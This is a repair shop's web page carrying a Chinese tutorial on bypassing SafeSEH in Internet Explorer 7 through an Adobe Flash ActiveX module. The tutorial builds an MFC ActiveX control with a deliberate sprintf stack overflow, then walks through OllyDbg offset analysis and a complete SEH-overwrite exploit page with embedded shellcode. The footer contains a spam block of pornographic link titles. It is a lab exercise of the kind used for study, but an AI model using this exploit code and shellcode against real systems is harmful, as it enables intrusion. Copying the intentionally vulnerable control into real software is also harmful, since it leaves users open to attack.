錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠(chéng)服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁(yè)
topFlag3 收藏本站
 
maojin003 首 頁(yè) 公司介紹 服務(wù)項(xiàng)目 服務(wù)報(bào)價(jià) 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠(chéng)服務(wù)技術(shù)文章
如何運(yùn)用ActiveX控件來(lái)躲過SafeS.E.H

作者: 佚名  日期:2017-10-11 17:43:38   來(lái)源: 本站整理

 [闡發(fā)情況] 體系: Windows XP Professional sp3
編譯器: Visual Studio 2008
調(diào)試器: OllyDbg 1.10
瀏覽器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 這里要留意沒有9.2.124這個(gè)版本, 9.0.124是末了沒有啟用SafeS.E.H的。
闡明: 這篇文參考自《0Day》, 由于”應(yīng)用Adobe Flash Player ActiveX控件繞過SafeS.E.H” 這節(jié)有一些小坑, 不留意能夠會(huì)試驗(yàn)失敗, 以是寫了這篇文來(lái)一步一步超出這些坑。
相干下載:
OllyFindAddr 鏈接: https://pan.baidu.com/s/1o8E8l8A 暗碼: kc2bAdobe Flash ActiveX 9.0.124 鏈接: https://pan.baidu.com/s/1i5h802T 暗碼: 4sf3Internet Explore 7 鏈接: https://pan.baidu.com/s/1b9qMy6 暗碼: 8g88
0×01 后期籌備
新建一個(gè)MFC ActiveX控件, 增加一個(gè)test辦法


在test辦法完成里增加代碼


#include #include DWORD MyException(){    printf("There is an exception");    getchar();    return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){    //AFX_MANAGE_STATE(AfxGetStaticModuleState());    // TODO: 在此增加調(diào)劑處置法式代碼    printf("aaaa");    // 定位函數(shù)的標(biāo)志    char dest[100];    sprintf(dest,"%s",str);    int zero=0;    try    {        zero=1/zero;    }    except(MyException())    {    }}

如圖設(shè)置好名目屬性, 抉擇release版本, 禁用優(yōu)化, 編譯鏈接, 末了在cmd鍵入”Regsvr32 /path/to/activex.ocx”注冊(cè)控件
html>  body>  object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">  param name="movie" value="1.swf" />  param name="quality" value="high" />  embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object>  script>  var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s);  script>  body>  html>
新建一個(gè)txt文本, 帖入以上代碼, 更名為poc.html

留意這里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 闡發(fā)棧結(jié)構(gòu)
雙擊poc.html主動(dòng)挪用IE瀏覽器關(guān)上, 抉擇容許ActiveX控件


離開這里, 用OllyDbg附加下來(lái)

斷下后選”E”找到VulnerAX_SEH.ocx, 點(diǎn)出來(lái), 在printf(“aaaa”)下斷運(yùn)轉(zhuǎn)

斷下后離開call sprintf, 追隨棧地點(diǎn), 再往下一步

能夠看到數(shù)據(jù)曾經(jīng)copy到棧上, 肇端地點(diǎn)0x01dcf4e4

View->SEH chain, 定位到最近的SE Handler 0x01dcf560, 0x01dcf560-0x01dcf4e4=124 byte

Plugins->OllyFindAddr->Overflow return address->Find CALL/JMP [EBP+N], 抉擇”L”, 找到0x300b2d1c這個(gè)跳板

改動(dòng)poc.html
var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u9090\u9090";s+="\u2D1C\u300B";
再次關(guān)上, OD附加下來(lái), 離開call sprintf再走一步, 如今SE Handler曾經(jīng)籠罩成跳板地點(diǎn)

先在0x300b2d1c下斷, 離開這里Shift+F9運(yùn)轉(zhuǎn)

斷下后跟進(jìn)call, 能夠看到這時(shí)候回到了S.E.H結(jié)構(gòu)


0×03 exploit
SE Handler的跳板地點(diǎn)會(huì)滋擾shellcode, 將shellcode全體放到上面, 用一個(gè)短跳跳曩昔
// junk(120 byte)+jmp short(2 byte)+junk(2 byte)+board(4 byte)+junk(8 byte)+payload(114 byte)var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u0EEB\u9090";        # 0xEB0E->jmp +14(絕對(duì)于下一條指令地點(diǎn)+14 byte)s+="\u2D1C\u300B";        # 跳板s+="\u9090\u9090\u9090\u9090";        # junks+="\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u8012\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348b\u01af\u45c6\u3e81\u6146\u6174\uf275\u7e81\u4508\u6978\u7574\u8be9\u247a\uc701\u8b66\u6f2c\u7a8b\u011c\u8bc7\uaf7c\u01fc\u68c7\u2067\u0120\u7968\u7530\u686e\u7720\u6f6f\ue189\u49fe\u310b\u51c0\uff50\u90d7";test.test(s);
如上構(gòu)造250 byte的shellcode, OD再次附加下來(lái), 離開call sprintf往下一步

F9間接運(yùn)轉(zhuǎn), pwn~



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來(lái)減少網(wǎng)絡(luò)請(qǐng)求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對(duì)講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動(dòng)時(shí)提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報(bào)修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號(hào):遼ICP備2023002984號(hào)-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無(wú)線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 97无码免费人妻超级碰碰夜夜| 国产精品无码无片在线观看| 久久久无码精品亚洲日韩蜜臀浪潮 | 无码aⅴ精品一区二区三区| 人妻无码中文字幕| 亚洲VA中文字幕无码一二三区 | 亚洲日韩精品无码专区加勒比| 无码人妻丰满熟妇区毛片| 国产成人无码18禁午夜福利p | 久99久无码精品视频免费播放| 无码精品国产VA在线观看| 色综合色国产热无码一| 亚洲av无码电影网| 无码专区狠狠躁躁天天躁| 青春草无码精品视频在线观| 亚洲国产成人无码av在线播放| 中文无码喷潮在线播放| 自慰系列无码专区| 无码人妻一区二区三区兔费| 久久久无码精品亚洲日韩蜜臀浪潮 | 亚洲熟妇无码一区二区三区| 亚洲av无码专区在线播放| 日日摸夜夜爽无码毛片精选| 国产在线无码视频一区| 精品人妻无码一区二区三区蜜桃一| 免费无码毛片一区二区APP| 国产精品无码无片在线观看| 亚洲人成网亚洲欧洲无码久久| 午夜成人无码福利免费视频| 免费A级毛片无码专区| 久久无码无码久久综合综合| 一本加勒比hezyo无码专区| 熟妇人妻中文a∨无码| 国产色综合久久无码有码| 免费无码H肉动漫在线观看麻豆| 中文字幕无码久久久| 伊人久久综合精品无码AV专区| 亚洲精品无码mv在线观看网站| 中文字幕丰满伦子无码| 亚洲VA中文字幕无码毛片| 手机永久无码国产AV毛片|